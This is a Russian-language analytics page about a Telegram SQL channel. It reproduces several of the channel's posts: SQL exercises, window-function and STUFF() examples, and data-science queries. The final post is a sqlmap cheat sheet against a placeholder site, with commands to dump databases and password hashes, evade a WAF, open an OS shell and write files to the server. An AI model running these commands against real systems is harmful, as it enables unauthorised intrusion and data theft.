Data Science. SQL hub
По всем вопросам- @workakkk @itchannels_telegram - 🔥лучшие ит-каналы @ai_machinelearning_big_data - Machine learning @pythonl - Python @pythonlbooks- python книги📚 @datascienceiot - ml книги📚 РКН: https://vk.cc/cIi9vo #VRHSZ
Больше📈 Аналитический обзор Telegram-канала Data Science. SQL hub
Канал Data Science. SQL hub (@sqlhub) языкового сегмента Русский является активным участником. Сейчас сообщество объединяет 36 078 подписчиков, занимая 3 727 место в категории Технологии и приложения и 17 610 место в регионе Россия.
📊 Показатели аудитории и динамика
С момента создания невідомо проект демонстрирует стремительный рост, собрав аудиторию из 36 078 подписчиков.
Согласно последним данным от 31 октября, 2026, канал показывает стабильную активность. За последние 30 дней изменение числа участников составило 143, а за последние 24 часа — -13, при этом общий охват остаётся высоким.
- Статус верификации: Не верифицирован
- Уровень вовлечённости (ER): Средний показатель вовлечённости аудитории составляет 8.65%. В первые 24 часа после публикации контент обычно набирает 3.79% реакций от общего числа подписчиков.
- Охват публикаций: В среднем каждый пост получает 3 123 просмотров. В течение первых суток публикация набирает 1 369 просмотров.
- Реакции и взаимодействия: Аудитория активно поддерживает контент: среднее количество реакций на один пост — 8.
- Тематические интересы: Контент сосредоточен на ключевых темах, таких как sql, индекс, postgres, index, sqlite.
📝 Описание и контентная политика
Автор описывает ресурс как площадку для выражения субъективного мнения:
“По всем вопросам- @workakkk
@itchannels_telegram - 🔥лучшие ит-каналы
@ai_machinelearning_big_data - Machine learning
@pythonl - Python
@pythonlbooks- python книги📚
@datascienceiot - ml книги📚
РКН: https://vk.cc/cIi9vo
#VRHSZ”
Благодаря высокой частоте обновлений (последние данные получены 01 ноября, 2026) канал поддерживает актуальность и высокий уровень охвата публикаций. Аналитика показывает, что аудитория активно взаимодействует с контентом, что делает его важной точкой влияния в категории Технологии и приложения.
CREATE TABLE sales (
sale_id INT PRIMARY KEY,
product_id INT,
sale_date DATE,
sale_amount INT
);
CREATE TABLE products (
product_id INT PRIMARY KEY,
category VARCHAR(50),
price DECIMAL(10, 2)
);
🌟 Таблица sales содержит информацию о продажах: ID продажи (sale_id), ID продукта (product_id), дата продажи (sale_date) и количество проданных единиц (sale_amount)
🌟 Таблица products хранит данные о продуктах: ID продукта (product_id), категория продукта (category) и цена (price)
❓ Нужно создать запрос, который выполнит следующие действия:
🌟 Найти самую популярную категорию товаров по количеству продаж в каждом месяце.
🌟 Вывести результаты по месяцам, начиная с самого первого месяца продаж.
🌟 В каждой строке указать:
- Месяц (sale_month)
- Название категории (category)
- Общее количество проданных товаров в этой категории за месяц (total_sales)
- Разницу (difference) между текущими продажами категории и продажами этой же категории в предыдущем месяце. Если предыдущего месяца нет, вывести NULL
❗️ Решение:
WITH MonthlySales AS (
SELECT
DATE_FORMAT(sale_date, '%Y-%m') AS sale_month,
p.category,
SUM(sale_amount) AS total_sales
FROM sales s
JOIN products p ON s.product_id = p.product_id
GROUP BY DATE_FORMAT(sale_date, '%Y-%m'), p.category
),
RankedCategories AS (
SELECT
sale_month,
category,
total_sales,
ROW_NUMBER() OVER (PARTITION BY sale_month ORDER BY total_sales DESC) AS sales_rank
FROM MonthlySales
),
PopularCategories AS (
SELECT
sale_month,
category,
total_sales
FROM RankedCategories
WHERE sales_rank = 1
),
CategoryWithDifference AS (
SELECT
sale_month,
category,
total_sales,
LAG(total_sales, 1) OVER (PARTITION BY category ORDER BY sale_month) AS previous_sales
FROM PopularCategories
)
SELECT
sale_month,
category,
total_sales,
total_sales - previous_sales AS difference
FROM CategoryWithDifference
ORDER BY sale_month;
💡 Как это работает:
🌟 MonthlySales: Подзапрос агрегирует данные продаж по месяцам и категориям товаров, чтобы получить общее количество продаж (total_sales) в каждом месяце.
🌟 RankedCategories: Присваивает каждой категории её ранг (ROW_NUMBER()) в зависимости от количества продаж в месяц.
🌟 PopularCategories: Фильтрует только самую популярную категорию (с sales_rank = 1) для каждого месяца.
🌟 CategoryWithDifference: Использует оконную функцию LAG() для расчета разницы между продажами в текущем месяце и предыдущем
@sqlhubSELECT STUFF('Hello World', 7, 5, 'SQL') AS Result;
🌟 Результат: Hello SQL
🔍 Объяснение:
🌟 Начальная позиция: 7 — замена начинается с 7-го символа (буква W).
🌟 Длина: 5 — удаляем 5 символов (World).
🌟 Замещающая строка: 'SQL' — вставляем вместо удалённой подстроки
💡 Другой пример: иногда STUFF() используется совместно с другими функциями для создания строк с разделителями. Например, объединим значения из нескольких строк в одну строку через запятую:
SELECT
DepartmentID,
STUFF(
(SELECT ',' + EmployeeName
FROM Employees
WHERE DepartmentID = E.DepartmentID
FOR XML PATH('')),
1, 1, '') AS EmployeesList
FROM Employees E
GROUP BY DepartmentID;
🌟 В данном примере STUFF() удаляет первый символ запятой и создает аккуратный список сотрудников для каждого отдела
@sqlhub-- Выбираем транзакции с суммой выше среднего и сгруппированные по пользователям
SELECT user_id, AVG(transaction_amount) AS avg_amount
FROM transactions
GROUP BY user_id
HAVING AVG(transaction_amount) > (
SELECT AVG(transaction_amount) FROM transactions
);
Это простой запрос, но он помогает сразу увидеть клиентов, у которых уровень трат выше среднего.
🖥 2. Feature Engineering с SQL
Формирование признаков — ключевой этап для создания моделей. Используя SQL, можно легко создавать категориальные признаки, вычислять периоды между событиями и генерировать агрегированные значения.
Например, создание признака активности пользователя:
-- Количество покупок за последние 30 дней
SELECT user_id, COUNT(*) AS purchases_last_30_days
FROM purchases
WHERE purchase_date >= DATE_SUB(CURDATE(), INTERVAL 30 DAY)
GROUP BY user_id;
Такой запрос может быть полезен для прогнозирования оттока клиентов.
📈 3. Анализ временных рядов
Работа с временными рядами — это отдельная задача. SQL поддерживает такие функции, как скользящие средние и кумулятивные суммы.
-- Построение 7-дневного скользящего среднего по продажам
SELECT
sales_date,
sales_amount,
AVG(sales_amount) OVER (ORDER BY sales_date ROWS BETWEEN 6 PRECEDING AND CURRENT ROW) AS moving_avg_7_days
FROM sales_data;
Используя такие функции, можно получать первичный анализ временных рядов прямо из базы данных, без перехода к pandas или другим библиотекам.
📊 4. Построение аналитических отчетов
SQL — отличный инструмент для создания дашбордов и отчетов. Используя CTE (Common Table Expressions), подзапросы и оконные функции, можно строить сложные отчеты, которые сразу дадут глубокое понимание данных.
WITH monthly_sales AS (
SELECT
EXTRACT(MONTH FROM sales_date) AS month,
SUM(sales_amount) AS total_sales
FROM sales_data
GROUP BY EXTRACT(MONTH FROM sales_date)
)
SELECT
month,
total_sales,
LAG(total_sales) OVER (ORDER BY month) AS previous_month_sales,
total_sales - LAG(total_sales) OVER (ORDER BY month) AS growth
FROM monthly_sales;
Этот запрос позволит сразу увидеть динамику продаж по месяцам и рост относительно предыдущего периода
@sqlhub
sqlmap -u "http://example.com/page.php?id=1"
🌟 Автоматический дамп всех баз данных:
sqlmap -u "http://example.com/page.php?id=1" --dbs
🌟 Извлечение таблиц из конкретной базы данных:
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных --tables
🌟 Извлечение данных из конкретной таблицы:
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --dump
🌟 Обход WAF (брандмауэра) с помощью указания пользовательского заголовка User-Agent:
sqlmap -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0"
🌟 Подбор базы данных и получение информации о пользователях:
sqlmap -u "http://example.com/page.php?id=1" --current-db --current-user
🌟 Включение интерактивной оболочки (OS Shell) для удаленного выполнения команд:
sqlmap -u "http://example.com/page.php?id=1" --os-shell
🌟 Выполнение SQL-запросов вручную:
sqlmap -u "http://example.com/page.php?id=1" --sql-query "SELECT user, password FROM users"
🌟 Проверка на возможность подключения с правами администратора:
sqlmap -u "http://example.com/page.php?id=1" --is-dba
🌟 Брутфорсирование паролей пользователей:
sqlmap -u "http://example.com/page.php?id=1" --passwords
🌟 Загрузка файла на удаленный сервер:
sqlmap -u "http://example.com/page.php?id=1" --file-write="/path/to/local/file" --file-dest="/path/to/remote/file"
🌟 Получение списка столбцов из таблицы:
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --columns
🌟 Использование прокси-сервера:
sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"
🌟 Определение используемой базы данных и версии:
sqlmap -u "http://example.com/page.php?id=1" --banner
🌟 Атака на POST-запросы (если параметры передаются в теле):
sqlmap -u "http://example.com/login.php" --data="username=admin&password=admin"
@sqlhub